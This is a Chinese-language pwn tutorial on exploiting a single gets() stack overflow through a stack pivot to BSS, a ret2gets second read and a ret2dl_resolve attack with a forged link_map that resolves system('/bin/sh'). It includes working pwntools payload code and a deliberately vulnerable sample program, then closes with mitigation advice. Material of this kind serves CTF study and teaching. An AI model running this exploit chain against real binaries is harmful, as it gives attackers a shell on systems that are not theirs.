仅有gets栈溢出漏洞的攻击方式
字数 1893
更新时间 2026-03-02 12:03:56

正在搜索资料正在搜索资料# 基于 gets 栈溢出的 ret2dl_resolve 攻击教学文档

1. 漏洞场景与攻击目标

1.1 漏洞代码分析

题目源码仅包含一个 gets 函数,且编译时关闭了 PIE 和栈保护,但未提供控制寄存器的 gadget(如 pop rdi; ret)。

#include<stdio.h>
void stack_overflow() {
    char buf[0x40];
    gets(buf); // 栈溢出漏洞点
}
int main() {
    stack_overflow();
    return 0;
}

1.2 攻击难点

  • 缺乏 ROP 链:没有 pop rdi; ret 等 gadget,无法直接控制 rdi 寄存器传递参数。
  • 单次输入限制gets 函数仅能输入一次,无法通过多次输入构造复杂 payload。

1.3 攻击目标

利用 ret2dl_resolve 技术,通过伪造 link_map 结构,劫持动态链接过程,将 gets 函数解析为 system 函数,最终执行 system("/bin/sh")


2. 核心攻击原理

2.1 栈迁移与 ret2gets

在 x64 架构中,gets 函数的参数传递依赖于 rbp 寄存器。通过栈溢出覆盖 rbp,可以控制输入的目标地址,实现 栈迁移二次输入

  • 第一次溢出:覆盖 rbp 指向 BSS 段,并设置返回地址为 lea rax, [rbp+var_40]; mov rdi, rax; call _gets 的指令片段。
  • 第二次输入:在 BSS 段伪造 link_map 结构,并触发 ret2dl_resolve

2.2 ret2dl_resolve 原理

ret2dl_resolve 攻击通过伪造动态链接器解析符号时所需的数据结构,欺骗链接器解析出错误的函数地址。

  • 关键结构:伪造 Elf64_Rela(重定位表项)、Elf64_Sym(符号表项)和字符串表。
  • 劫持流程:通过伪造的 reloc_arg 偏移,使链接器读取伪造的结构,最终解析出 system 函数地址。

3. 攻击步骤详解

3.1 第一次溢出:栈迁移与 BSS 段布局

通过第一次溢出,将栈迁移到 BSS 段,为第二次输入伪造数据做准备。

bss = 0x404030 + 0x700  # BSS 段基址
payload1 = b'a' * 0x40 + p64(bss + 0x40) + p64(0x401142)  # 覆盖 rbp 和返回地址
p.sendline(payload1)
  • 覆盖 rbpbss + 0x40,指向 BSS 段。
  • 返回地址0x401142,指向 gets 函数的参数设置指令(lea rax, [rbp+var_40])。

3.2 第二次输入:伪造 link_map 与触发解析

在 BSS 段伪造 link_map 结构,并触发 _dl_runtime_resolve

bss_stage = bss + 0x100
fake_link_map = fake_Linkmap_payload(bss_stage, gets_got, l_addr)
payload2 = b'a' * 0x48 + p64(gets) + p64(plt_load) + p64(bss_stage)
payload2 = payload2.ljust(0x100, b'\x00') + fake_link_map
p.sendline(payload2)
  • fake_Linkmap_payload:伪造 link_map 结构,包含重定位表、符号表和字符串表。
  • plt_load:指向 PLT 表入口,触发 _dl_runtime_resolve
  • bss_stage:伪造结构的地址,作为 reloc_arg 参数。

3.3 参数传递与 Shell 获取

通过 ret2gets 技术控制 rdi 寄存器,传递 /bin/sh 字符串地址。

p.sendline(b'/bin' + p8(u8(b"/") + 1) + b'sh\x00')
  • 技巧:通过修改字符串的最后一个字节,绕过 gets 函数的输入限制,确保 /bin/sh 字符串完整。

4. 关键代码解析

4.1 fake_Linkmap_payload 函数

该函数伪造了 link_map 结构,用于欺骗动态链接器。

def fake_Linkmap_payload(fake_linkmap_addr, known_func_ptr, offset):
    linkmap = p64(offset & (2 ** 64 - 1))  # l_addr
    linkmap += p64(0)
    linkmap += p64(fake_linkmap_addr + 0x18)  # DT_STRTAB
    linkmap += p64((fake_linkmap_addr + 0x30 - offset) & (2 ** 64 - 1))  # DT_SYMTAB
    linkmap += p64(0x7)  # DT_JMPREL
    linkmap += p64(0)
    linkmap += p64(0)
    linkmap += p64(0)
    linkmap += p64(known_func_ptr - 0x8)  # 指向符号表
    linkmap += b'/bin/sh\x00'  # 字符串表
    linkmap = linkmap.ljust(0x68, b'A')
    linkmap += p64(fake_linkmap_addr)  # 重定位表
    linkmap += p64(fake_linkmap_addr + 0x38)
    linkmap = linkmap.ljust(0xf8, b'A')
    linkmap += p64(fake_linkmap_addr + 0x8)  # DT_STRTAB 指针
    return linkmap

4.2 关键参数计算

  • l_addrlibc.sym['system'] - libc.sym['gets'],计算 systemgets 的偏移差。
  • known_func_ptrelf.got['gets'],已知函数的 GOT 表地址,用于伪造符号表。

5. 总结与防御建议

5.1 攻击总结

  • 利用点:通过 gets 函数的栈溢出,结合 ret2getsret2dl_resolve,在缺乏 gadget 的情况下实现任意代码执行。
  • 技术组合:栈迁移 + 伪造数据结构 + 动态链接劫持。

5.2 防御建议

  • 编译选项:开启 PIE、栈保护(Canary)和 RELRO(Full)。
  • 代码审计:避免使用不安全的函数(如 gets),使用 fgets 替代。
  • 运行时保护:启用 ASLR,增加攻击难度。

通过以上步骤,即使在没有 gadget 的情况下,也能利用 gets 栈溢出漏洞实现完整的攻击链。[citation:1][citation:2][citation:3]

 全屏